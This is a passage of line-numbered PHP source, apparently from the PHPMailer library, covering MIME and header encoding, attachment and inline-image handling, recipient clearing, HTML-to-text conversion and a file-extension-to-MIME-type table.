3003 ini_set('magic_quotes_runtime', false);
3004 }
3005 }
3006 $file_buffer = file_get_contents($path);
3007 $file_buffer = $this->encodeString($file_buffer, $encoding);
3008 if ($magic_quotes) {
3009 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3010 set_magic_quotes_runtime($magic_quotes);
3011 } else {
3012 ini_set('magic_quotes_runtime', $magic_quotes);
3013 }
3014 }
3015 return $file_buffer;
3016 } catch (Exception $exc) {
3017 $this->setError($exc->getMessage());
3018 return '';
3019 }
3020 }
3021
3022 /**
3023 * Encode a string in requested format.
3024 * Returns an empty string on failure.
3025 * @param string $str The text to encode
3026 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3027 * @access public
3028 * @return string
3029 */
3030 public function encodeString($str, $encoding = 'base64')
3031 {
3032 $encoded = '';
3033 switch (strtolower($encoding)) {
3034 case 'base64':
3035 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3036 break;
3037 case '7bit':
3038 case '8bit':
3039 $encoded = $this->fixEOL($str);
3040 // Make sure it ends with a line break
3041 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3042 $encoded .= $this->LE;
3043 }
3044 break;
3045 case 'binary':
3046 $encoded = $str;
3047 break;
3048 case 'quoted-printable':
3049 $encoded = $this->encodeQP($str);
3050 break;
3051 default:
3052 $this->setError($this->lang('encoding') . $encoding);
3053 break;
3054 }
3055 return $encoded;
3056 }
3057
3058 /**
3059 * Encode a header string optimally.
3060 * Picks shortest of Q, B, quoted-printable or none.
3061 * @access public
3062 * @param string $str
3063 * @param string $position
3064 * @return string
3065 */
3066 public function encodeHeader($str, $position = 'text')
3067 {
3068 $matchcount = 0;
3069 switch (strtolower($position)) {
3070 case 'phrase':
3071 if (!preg_match('/[\200-\377]/', $str)) {
3072 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3073 $encoded = addcslashes($str, "\0..\37\177\\\"");
3074 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3075 return ($encoded);
3076 } else {
3077 return ("\"$encoded\"");
3078 }
3079 }
3080 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3081 break;
3082 /** @noinspection PhpMissingBreakStatementInspection */
3083 case 'comment':
3084 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3085 // Intentional fall-through
3086 case 'text':
3087 default:
3088 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3089 break;
3090 }
3091
3092 //There are no chars that need encoding
3093 if ($matchcount == 0) {
3094 return ($str);
3095 }
3096
3097 $maxlen = 75 - 7 - strlen($this->CharSet);
3098 // Try to select the encoding which should produce the shortest output
3099 if ($matchcount > strlen($str) / 3) {
3100 // More than a third of the content will need encoding, so B encoding will be most efficient
3101 $encoding = 'B';
3102 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3103 // Use a custom function which correctly encodes and wraps long
3104 // multibyte strings without breaking lines within a character
3105 $encoded = $this->base64EncodeWrapMB($str, "\n");
3106 } else {
3107 $encoded = base64_encode($str);
3108 $maxlen -= $maxlen % 4;
3109 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3110 }
3111 } else {
3112 $encoding = 'Q';
3113 $encoded = $this->encodeQ($str, $position);
3114 $encoded = $this->wrapText($encoded, $maxlen, true);
3115 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3116 }
3117
3118 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3119 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3120
3121 return $encoded;
3122 }
3123
3124 /**
3125 * Check if a string contains multi-byte characters.
3126 * @access public
3127 * @param string $str multi-byte text to wrap encode
3128 * @return boolean
3129 */
3130 public function hasMultiBytes($str)
3131 {
3132 if (function_exists('mb_strlen')) {
3133 return (strlen($str) > mb_strlen($str, $this->CharSet));
3134 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3135 return false;
3136 }
3137 }
3138
3139 /**
3140 * Does a string contain any 8-bit chars (in any charset)?
3141 * @param string $text
3142 * @return boolean
3143 */
3144 public function has8bitChars($text)
3145 {
3146 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3147 }
3148
3149 /**
3150 * Encode and wrap long multibyte strings for mail headers
3151 * without breaking lines within a character.
3152 * Adapted from a function by paravoid
3153 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3154 * @access public
3155 * @param string $str multi-byte text to wrap encode
3156 * @param string $linebreak string to use as linefeed/end-of-line
3157 * @return string
3158 */
3159 public function base64EncodeWrapMB($str, $linebreak = null)
3160 {
3161 $start = '=?' . $this->CharSet . '?B?';
3162 $end = '?=';
3163 $encoded = '';
3164 if ($linebreak === null) {
3165 $linebreak = $this->LE;
3166 }
3167
3168 $mb_length = mb_strlen($str, $this->CharSet);
3169 // Each line must have length <= 75, including $start and $end
3170 $length = 75 - strlen($start) - strlen($end);
3171 // Average multi-byte ratio
3172 $ratio = $mb_length / strlen($str);
3173 // Base64 has a 4:3 ratio
3174 $avgLength = floor($length * $ratio * .75);
3175
3176 for ($i = 0; $i < $mb_length; $i += $offset) {
3177 $lookBack = 0;
3178 do {
3179 $offset = $avgLength - $lookBack;
3180 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3181 $chunk = base64_encode($chunk);
3182 $lookBack++;
3183 } while (strlen($chunk) > $length);
3184 $encoded .= $chunk . $linebreak;
3185 }
3186
3187 // Chomp the last linefeed
3188 $encoded = substr($encoded, 0, -strlen($linebreak));
3189 return $encoded;
3190 }
3191
3192 /**
3193 * Encode a string in quoted-printable format.
3194 * According to RFC2045 section 6.7.
3195 * @access public
3196 * @param string $string The text to encode
3197 * @param integer $line_max Number of chars allowed on a line before wrapping
3198 * @return string
3199 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3200 */
3201 public function encodeQP($string, $line_max = 76)
3202 {
3203 // Use native function if it's available (>= PHP5.3)
3204 if (function_exists('quoted_printable_encode')) {
3205 return quoted_printable_encode($string);
3206 }
3207 // Fall back to a pure PHP implementation
3208 $string = str_replace(
3209 array('%20', '%0D%0A.', '%0D%0A', '%'),
3210 array(' ', "\r\n=2E", "\r\n", '='),
3211 rawurlencode($string)
3212 );
3213 return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3214 }
3215
3216 /**
3217 * Backward compatibility wrapper for an old QP encoding function that was removed.
3218 * @see PHPMailer::encodeQP()
3219 * @access public
3220 * @param string $string
3221 * @param integer $line_max
3222 * @param boolean $space_conv
3223 * @return string
3224 * @deprecated Use encodeQP instead.
3225 */
3226 public function encodeQPphp(
3227 $string,
3228 $line_max = 76,
3229 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3230 ) {
3231 return $this->encodeQP($string, $line_max);
3232 }
3233
3234 /**
3235 * Encode a string using Q encoding.
3236 * @link http://tools.ietf.org/html/rfc2047
3237 * @param string $str the text to encode
3238 * @param string $position Where the text is going to be used, see the RFC for what that means
3239 * @access public
3240 * @return string
3241 */
3242 public function encodeQ($str, $position = 'text')
3243 {
3244 // There should not be any EOL in the string
3245 $pattern = '';
3246 $encoded = str_replace(array("\r", "\n"), '', $str);
3247 switch (strtolower($position)) {
3248 case 'phrase':
3249 // RFC 2047 section 5.3
3250 $pattern = '^A-Za-z0-9!*+\/ -';
3251 break;
3252 /** @noinspection PhpMissingBreakStatementInspection */
3253 case 'comment':
3254 // RFC 2047 section 5.2
3255 $pattern = '\(\)"';
3256 // intentional fall-through
3257 // for this reason we build the $pattern without including delimiters and []
3258 case 'text':
3259 default:
3260 // RFC 2047 section 5.1
3261 // Replace every high ascii, control, =, ? and _ characters
3262 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
3263 break;
3264 }
3265 $matches = array();
3266 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
3267 // If the string contains an '=', make sure it's the first thing we replace
3268 // so as to avoid double-encoding
3269 $eqkey = array_search('=', $matches[0]);
3270 if (false !== $eqkey) {
3271 unset($matches[0][$eqkey]);
3272 array_unshift($matches[0], '=');
3273 }
3274 foreach (array_unique($matches[0]) as $char) {
3275 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
3276 }
3277 }
3278 // Replace every spaces to _ (more readable than =20)
3279 return str_replace(' ', '_', $encoded);
3280 }
3281
3282 /**
3283 * Add a string or binary attachment (non-filesystem).
3284 * This method can be used to attach ascii or binary data,
3285 * such as a BLOB record from a database.
3286 * @param string $string String attachment data.
3287 * @param string $filename Name of the attachment.
3288 * @param string $encoding File encoding (see $Encoding).
3289 * @param string $type File extension (MIME) type.
3290 * @param string $disposition Disposition to use
3291 * @return void
3292 */
3293 public function addStringAttachment(
3294 $string,
3295 $filename,
3296 $encoding = 'base64',
3297 $type = '',
3298 $disposition = 'attachment'
3299 ) {
3300 // If a MIME type is not specified, try to work it out from the file name
3301 if ($type == '') {
3302 $type = self::filenameToType($filename);
3303 }
3304 // Append to $attachment array
3305 $this->attachment[] = array(
3306 0 => $string,
3307 1 => $filename,
3308 2 => basename($filename),
3309 3 => $encoding,
3310 4 => $type,
3311 5 => true, // isStringAttachment
3312 6 => $disposition,
3313 7 => 0
3314 );
3315 }
3316
3317 /**
3318 * Add an embedded (inline) attachment from a file.
3319 * This can include images, sounds, and just about any other document type.
3320 * These differ from 'regular' attachments in that they are intended to be
3321 * displayed inline with the message, not just attached for download.
3322 * This is used in HTML messages that embed the images
3323 * the HTML refers to using the $cid value.
3324 * Never use a user-supplied path to a file!
3325 * @param string $path Path to the attachment.
3326 * @param string $cid Content ID of the attachment; Use this to reference
3327 * the content when using an embedded image in HTML.
3328 * @param string $name Overrides the attachment name.
3329 * @param string $encoding File encoding (see $Encoding).
3330 * @param string $type File MIME type.
3331 * @param string $disposition Disposition to use
3332 * @return boolean True on successfully adding an attachment
3333 */
3334 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
3335 {
3336 if (!self::isPermittedPath($path) or !@is_file($path)) {
3337 $this->setError($this->lang('file_access') . $path);
3338 return false;
3339 }
3340
3341 // If a MIME type is not specified, try to work it out from the file name
3342 if ($type == '') {
3343 $type = self::filenameToType($path);
3344 }
3345
3346 $filename = basename($path);
3347 if ($name == '') {
3348 $name = $filename;
3349 }
3350
3351 // Append to $attachment array
3352 $this->attachment[] = array(
3353 0 => $path,
3354 1 => $filename,
3355 2 => $name,
3356 3 => $encoding,
3357 4 => $type,
3358 5 => false, // isStringAttachment
3359 6 => $disposition,
3360 7 => $cid
3361 );
3362 return true;
3363 }
3364
3365 /**
3366 * Add an embedded stringified attachment.
3367 * This can include images, sounds, and just about any other document type.
3368 * Be sure to set the $type to an image type for images:
3369 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
3370 * @param string $string The attachment binary data.
3371 * @param string $cid Content ID of the attachment; Use this to reference
3372 * the content when using an embedded image in HTML.
3373 * @param string $name
3374 * @param string $encoding File encoding (see $Encoding).
3375 * @param string $type MIME type.
3376 * @param string $disposition Disposition to use
3377 * @return boolean True on successfully adding an attachment
3378 */
3379 public function addStringEmbeddedImage(
3380 $string,
3381 $cid,
3382 $name = '',
3383 $encoding = 'base64',
3384 $type = '',
3385 $disposition = 'inline'
3386 ) {
3387 // If a MIME type is not specified, try to work it out from the name
3388 if ($type == '' and !empty($name)) {
3389 $type = self::filenameToType($name);
3390 }
3391
3392 // Append to $attachment array
3393 $this->attachment[] = array(
3394 0 => $string,
3395 1 => $name,
3396 2 => $name,
3397 3 => $encoding,
3398 4 => $type,
3399 5 => true, // isStringAttachment
3400 6 => $disposition,
3401 7 => $cid
3402 );
3403 return true;
3404 }
3405
3406 /**
3407 * Check if an inline attachment is present.
3408 * @access public
3409 * @return boolean
3410 */
3411 public function inlineImageExists()
3412 {
3413 foreach ($this->attachment as $attachment) {
3414 if ($attachment[6] == 'inline') {
3415 return true;
3416 }
3417 }
3418 return false;
3419 }
3420
3421 /**
3422 * Check if an attachment (non-inline) is present.
3423 * @return boolean
3424 */
3425 public function attachmentExists()
3426 {
3427 foreach ($this->attachment as $attachment) {
3428 if ($attachment[6] == 'attachment') {
3429 return true;
3430 }
3431 }
3432 return false;
3433 }
3434
3435 /**
3436 * Check if this message has an alternative body set.
3437 * @return boolean
3438 */
3439 public function alternativeExists()
3440 {
3441 return !empty($this->AltBody);
3442 }
3443
3444 /**
3445 * Clear queued addresses of given kind.
3446 * @access protected
3447 * @param string $kind 'to', 'cc', or 'bcc'
3448 * @return void
3449 */
3450 public function clearQueuedAddresses($kind)
3451 {
3452 $RecipientsQueue = $this->RecipientsQueue;
3453 foreach ($RecipientsQueue as $address => $params) {
3454 if ($params[0] == $kind) {
3455 unset($this->RecipientsQueue[$address]);
3456 }
3457 }
3458 }
3459
3460 /**
3461 * Clear all To recipients.
3462 * @return void
3463 */
3464 public function clearAddresses()
3465 {
3466 foreach ($this->to as $to) {
3467 unset($this->all_recipients[strtolower($to[0])]);
3468 }
3469 $this->to = array();
3470 $this->clearQueuedAddresses('to');
3471 }
3472
3473 /**
3474 * Clear all CC recipients.
3475 * @return void
3476 */
3477 public function clearCCs()
3478 {
3479 foreach ($this->cc as $cc) {
3480 unset($this->all_recipients[strtolower($cc[0])]);
3481 }
3482 $this->cc = array();
3483 $this->clearQueuedAddresses('cc');
3484 }
3485
3486 /**
3487 * Clear all BCC recipients.
3488 * @return void
3489 */
3490 public function clearBCCs()
3491 {
3492 foreach ($this->bcc as $bcc) {
3493 unset($this->all_recipients[strtolower($bcc[0])]);
3494 }
3495 $this->bcc = array();
3496 $this->clearQueuedAddresses('bcc');
3497 }
3498
3499 /**
3500 * Clear all ReplyTo recipients.
3501 * @return void
3502 */
3503 public function clearReplyTos()
3504 {
3505 $this->ReplyTo = array();
3506 $this->ReplyToQueue = array();
3507 }
3508
3509 /**
3510 * Clear all recipient types.
3511 * @return void
3512 */
3513 public function clearAllRecipients()
3514 {
3515 $this->to = array();
3516 $this->cc = array();
3517 $this->bcc = array();
3518 $this->all_recipients = array();
3519 $this->RecipientsQueue = array();
3520 }
3521
3522 /**
3523 * Clear all filesystem, string, and binary attachments.
3524 * @return void
3525 */
3526 public function clearAttachments()
3527 {
3528 $this->attachment = array();
3529 }
3530
3531 /**
3532 * Clear all custom headers.
3533 * @return void
3534 */
3535 public function clearCustomHeaders()
3536 {
3537 $this->CustomHeader = array();
3538 }
3539
3540 /**
3541 * Add an error message to the error container.
3542 * @access protected
3543 * @param string $msg
3544 * @return void
3545 */
3546 protected function setError($msg)
3547 {
3548 $this->error_count++;
3549 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
3550 $lasterror = $this->smtp->getError();
3551 if (!empty($lasterror['error'])) {
3552 $msg .= $this->lang('smtp_error') . $lasterror['error'];
3553 if (!empty($lasterror['detail'])) {
3554 $msg .= ' Detail: '. $lasterror['detail'];
3555 }
3556 if (!empty($lasterror['smtp_code'])) {
3557 $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
3558 }
3559 if (!empty($lasterror['smtp_code_ex'])) {
3560 $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
3561 }
3562 }
3563 }
3564 $this->ErrorInfo = $msg;
3565 }
3566
3567 /**
3568 * Return an RFC 822 formatted date.
3569 * @access public
3570 * @return string
3571 * @static
3572 */
3573 public static function rfcDate()
3574 {
3575 // Set the time zone to whatever the default is to avoid 500 errors
3576 // Will default to UTC if it's not set properly in php.ini
3577 date_default_timezone_set(@date_default_timezone_get());
3578 return date('D, j M Y H:i:s O');
3579 }
3580
3581 /**
3582 * Get the server hostname.
3583 * Returns 'localhost.localdomain' if unknown.
3584 * @access protected
3585 * @return string
3586 */
3587 protected function serverHostname()
3588 {
3589 $result = 'localhost.localdomain';
3590 if (!empty($this->Hostname)) {
3591 $result = $this->Hostname;
3592 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
3593 $result = $_SERVER['SERVER_NAME'];
3594 } elseif (function_exists('gethostname') && gethostname() !== false) {
3595 $result = gethostname();
3596 } elseif (php_uname('n') !== false) {
3597 $result = php_uname('n');
3598 }
3599 return $result;
3600 }
3601
3602 /**
3603 * Get an error message in the current language.
3604 * @access protected
3605 * @param string $key
3606 * @return string
3607 */
3608 protected function lang($key)
3609 {
3610 if (count($this->language) < 1) {
3611 $this->setLanguage('en'); // set the default language
3612 }
3613
3614 if (array_key_exists($key, $this->language)) {
3615 if ($key == 'smtp_connect_failed') {
3616 //Include a link to troubleshooting docs on SMTP connection failure
3617 //this is by far the biggest cause of support questions
3618 //but it's usually not PHPMailer's fault.
3619 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
3620 }
3621 return $this->language[$key];
3622 } else {
3623 //Return the key as a fallback
3624 return $key;
3625 }
3626 }
3627
3628 /**
3629 * Check if an error occurred.
3630 * @access public
3631 * @return boolean True if an error did occur.
3632 */
3633 public function isError()
3634 {
3635 return ($this->error_count > 0);
3636 }
3637
3638 /**
3639 * Ensure consistent line endings in a string.
3640 * Changes every end of line from CRLF, CR or LF to $this->LE.
3641 * @access public
3642 * @param string $str String to fixEOL
3643 * @return string
3644 */
3645 public function fixEOL($str)
3646 {
3647 // Normalise to \n
3648 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
3649 // Now convert LE as needed
3650 if ($this->LE !== "\n") {
3651 $nstr = str_replace("\n", $this->LE, $nstr);
3652 }
3653 return $nstr;
3654 }
3655
3656 /**
3657 * Add a custom header.
3658 * $name value can be overloaded to contain
3659 * both header name and value (name:value)
3660 * @access public
3661 * @param string $name Custom header name
3662 * @param string $value Header value
3663 * @return void
3664 */
3665 public function addCustomHeader($name, $value = null)
3666 {
3667 if ($value === null) {
3668 // Value passed in as name:value
3669 $this->CustomHeader[] = explode(':', $name, 2);
3670 } else {
3671 $this->CustomHeader[] = array($name, $value);
3672 }
3673 }
3674
3675 /**
3676 * Returns all custom headers.
3677 * @return array
3678 */
3679 public function getCustomHeaders()
3680 {
3681 return $this->CustomHeader;
3682 }
3683
3684 /**
3685 * Create a message body from an HTML string.
3686 * Automatically inlines images and creates a plain-text version by converting the HTML,
3687 * overwriting any existing values in Body and AltBody.
3688 * Do not source $message content from user input!
3689 * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
3690 * will look for an image file in $basedir/images/a.png and convert it to inline.
3691 * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
3692 * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
3693 * @access public
3694 * @param string $message HTML message string
3695 * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
3696 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
3697 * or your own custom converter @see PHPMailer::html2text()
3698 * @return string $message The transformed message Body
3699 */
3700 public function msgHTML($message, $basedir = '', $advanced = false)
3701 {
3702 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
3703 if (array_key_exists(2, $images)) {
3704 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
3705 // Ensure $basedir has a trailing /
3706 $basedir .= '/';
3707 }
3708 foreach ($images[2] as $imgindex => $url) {
3709 // Convert data URIs into embedded images
3710 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
3711 $data = substr($url, strpos($url, ','));
3712 if ($match[2]) {
3713 $data = base64_decode($data);
3714 } else {
3715 $data = rawurldecode($data);
3716 }
3717 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3718 if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
3719 $message = str_replace(
3720 $images[0][$imgindex],
3721 $images[1][$imgindex] . '="cid:' . $cid . '"',
3722 $message
3723 );
3724 }
3725 continue;
3726 }
3727 if (
3728 // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
3729 !empty($basedir)
3730 // Ignore URLs containing parent dir traversal (..)
3731 && (strpos($url, '..') === false)
3732 // Do not change urls that are already inline images
3733 && substr($url, 0, 4) !== 'cid:'
3734 // Do not change absolute URLs, including anonymous protocol
3735 && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
3736 ) {
3737 $filename = basename($url);
3738 $directory = dirname($url);
3739 if ($directory == '.') {
3740 $directory = '';
3741 }
3742 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
3743 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
3744 $directory .= '/';
3745 }
3746 if ($this->addEmbeddedImage(
3747 $basedir . $directory . $filename,
3748 $cid,
3749 $filename,
3750 'base64',
3751 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
3752 )
3753 ) {
3754 $message = preg_replace(
3755 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
3756 $images[1][$imgindex] . '="cid:' . $cid . '"',
3757 $message
3758 );
3759 }
3760 }
3761 }
3762 }
3763 $this->isHTML(true);
3764 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
3765 $this->Body = $this->normalizeBreaks($message);
3766 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
3767 if (!$this->alternativeExists()) {
3768 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
3769 self::CRLF . self::CRLF;
3770 }
3771 return $this->Body;
3772 }
3773
3774 /**
3775 * Convert an HTML string into plain text.
3776 * This is used by msgHTML().
3777 * Note - older versions of this function used a bundled advanced converter
3778 * which was been removed for license reasons in #232.
3779 * Example usage:
3780 * <code>
3781 * // Use default conversion
3782 * $plain = $mail->html2text($html);
3783 * // Use your own custom converter
3784 * $plain = $mail->html2text($html, function($html) {
3785 * $converter = new MyHtml2text($html);
3786 * return $converter->get_text();
3787 * });
3788 * </code>
3789 * @param string $html The HTML text to convert
3790 * @param boolean|callable $advanced Any boolean value to use the internal converter,
3791 * or provide your own callable for custom conversion.
3792 * @return string
3793 */
3794 public function html2text($html, $advanced = false)
3795 {
3796 if (is_callable($advanced)) {
3797 return call_user_func($advanced, $html);
3798 }
3799 return html_entity_decode(
3800 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
3801 ENT_QUOTES,
3802 $this->CharSet
3803 );
3804 }
3805
3806 /**
3807 * Get the MIME type for a file extension.
3808 * @param string $ext File extension
3809 * @access public
3810 * @return string MIME type of file.
3811 * @static
3812 */
3813 public static function _mime_types($ext = '')
3814 {
3815 $mimes = array(
3816 'xl' => 'application/excel',
3817 'js' => 'application/javascript',
3818 'hqx' => 'application/mac-binhex40',
3819 'cpt' => 'application/mac-compactpro',
3820 'bin' => 'application/macbinary',
3821 'doc' => 'application/msword',
3822 'word' => 'application/msword',
3823 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
3824 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
3825 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
3826 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
3827 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
3828 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
3829 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
3830 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
3831 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
3832 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
3833 'class' => 'application/octet-stream',
3834 'dll' => 'application/octet-stream',
3835 'dms' => 'application/octet-stream',
3836 'exe' => 'application/octet-stream',
3837 'lha' => 'application/octet-stream',
3838 'lzh' => 'application/octet-stream',
3839 'psd' => 'application/octet-stream',
3840 'sea' => 'application/octet-stream',
3841 'so' => 'application/octet-stream',
3842 'oda' => 'application/oda',
3843 'pdf' => 'application/pdf',
3844 'ai' => 'application/postscript',
3845 'eps' => 'application/postscript',
3846 'ps' => 'application/postscript',
3847 'smi' => 'application/smil',
3848 'smil' => 'application/smil',
3849 'mif' => 'application/vnd.mif',
3850 'xls' => 'application/vnd.ms-excel',
3851 'ppt' => 'application/vnd.ms-powerpoint',
3852 'wbxml' => 'application/vnd.wap.wbxml',
3853 'wmlc' => 'application/vnd.wap.wmlc',
3854 'dcr' => 'application/x-director',
3855 'dir' => 'application/x-director',
3856 'dxr' => 'application/x-director',
3857 'dvi' => 'application/x-dvi',
3858 'gtar' => 'application/x-gtar',
3859 'php3' => 'application/x-httpd-php',
3860 'php4' => 'application/x-httpd-php',
3861 'php' => 'application/x-httpd-php',
3862 'phtml' => 'application/x-httpd-php',
3863 'phps' => 'application/x-httpd-php-source',
3864 'swf' => 'application/x-shockwave-flash',
3865 'sit' => 'application/x-stuffit',
3866 'tar' => 'application/x-tar',
3867 'tgz' => 'application/x-tar',
3868 'xht' => 'application/xhtml+xml',
3869 'xhtml' => 'application/xhtml+xml',
3870 'zip' => 'application/zip',
3871 'mid' => 'audio/midi',
3872 'midi' => 'audio/midi',
3873 'mp2' => 'audio/mpeg',
3874 'mp3' => 'audio/mpeg',
3875 'mpga' => 'audio/mpeg',
3876 'aif' => 'audio/x-aiff',
3877 'aifc' => 'audio/x-aiff',
3878 'aiff' => 'audio/x-aiff',
3879 'ram' => 'audio/x-pn-realaudio',
3880 'rm' => 'audio/x-pn-realaudio',
3881 'rpm' => 'audio/x-pn-realaudio-plugin',
3882 'ra' => 'audio/x-realaudio',
3883 'wav' => 'audio/x-wav',
3884 'bmp' => 'image/bmp',
3885 'gif' => 'image/gif',
3886 'jpeg' => 'image/jpeg',
3887 'jpe' => 'image/jpeg',
3888 'jpg' => 'image/jpeg',
3889 'png' => 'image/png',
3890 'tiff' => 'image/tiff',
3891 'tif' => 'image/tiff',
3892 'eml' => 'message/rfc822',
3893 'css' => 'text/css',
3894 'html' => 'text/html',
3895 'htm' => 'text/html',
3896 'shtml' => 'text/html',
3897 'log' => 'text/plain',
3898 'text' => 'text/plain',
3899 'txt' => 'text/plain',
3900 'rtx' => 'text/richtext',
3901 'rtf' => 'text/rtf',
3902 'vcf' => 'text/vcard',
3903 'vcard' => 'text/vcard',
3904 'xml' => 'text/xml',
3905 'xsl' => 'text/xml',
3906 'mpeg' => 'video/mpeg',
3907 'mpe' => 'video/mpeg',
3908 'mpg' => 'video/mpeg',
3909 'mov' => 'video/quicktime',
3910 'qt' => 'video/quicktime',
3911 'rv' => 'video/vnd.rn-realvideo',
3912 'avi' => 'video/x-msvideo',
3913 'movie' => 'video/x-sgi-movie'
3914 );
3915 if (array_key_exists(strtolower($ext), $mimes)) {
3916 return $mimes[strtolower($ext)];
3917 }
3918 return 'application/octet-stream';
3919 }
3920
3921 /**
3922 * Map a file name to a MIME type.
3923 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
3924 * @param string $filename A file name or full path, does not need to exist as a file
3925 * @return string
3926 * @static
3927 */
3928 public static function filenameToType($filename)
3929 {
3930 // In case the path is a URL, strip any query string before getting extension
3931 $qpos = strpos($filename, '?');
3932 if (false !== $qpos) {
3933 $filename = substr($filename, 0, $qpos);
3934 }
3935 $pathinfo = self::mb_pathinfo($filename);
3936 return self::_mime_types($pathinfo['extension']);
3937 }
3938
3939 /**
3940 * Multi-byte-safe pathinfo replacement.
3941 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
3942 * Works similarly to the one in PHP >= 5.2.0
3943 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
3944 * @param string $path A filename or path, does not need to exist as a file
3945 * @param integer|string $options Either a PATHINFO_* constant,
3946 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
3947 * @return string|array
3948 * @static
3949 */
3950 public static function mb_pathinfo($path, $options = null)
3951 {
3952 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
3953 $pathinfo = array();
3954 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
3955 if (array_key_exists(1, $pathinfo)) {
3956 $ret['dirname'] = $pathinfo[1];
3957 }
3958 if (array_key_exists(2, $pathinfo)) {
3959 $ret['basename'] = $pathinfo[2];
3960 }
3961 if (array_key_exists(5, $pathinfo)) {
3962 $ret['extension'] = $pathinfo[5];
3963 }
3964 if (array_key_exists(3, $pathinfo)) {
3965 $ret['filename'] = $pathinfo[3];
3966 }
3967 }
3968 switch ($options) {
3969 case PATHINFO_DIRNAME:
3970 case 'dirname':
3971 return $ret['dirname'];
3972 case PATHINFO_BASENAME:
3973 case 'basename':
3974 return $ret['basename'];
3975 case PATHINFO_EXTENSION:
3976 case 'extension':
3977 return $ret['extension'];
3978 case PATHINFO_FILENAME:
3979 case 'filename':
3980 return $ret['filename'];
3981 default:
3982 return $ret;
3983 }
3984 }
3985
3986 /**
3987 * Set or reset instance properties.
3988 * You should avoid this function - it's more verbose, less efficient, more error-prone and
3989 * harder to debug than setting properties directly.
3990 * Usage Example:
3991 * `$mail->set('SMTPSecure', 'tls');`
3992 * is the same as:
3993 * `$mail->SMTPSecure = 'tls';`
3994 * @access public
3995 * @param string $name The property name to set
3996 * @param mixed $value The value to set the property to
3997 * @return boolean
3998 * @TODO Should this not be using the __set() magic function?
3999 */
4000 public function set($name, $value = '')
4001 {
4002 if (property_exists($this, $name)) {
4003 $this->$name = $value;
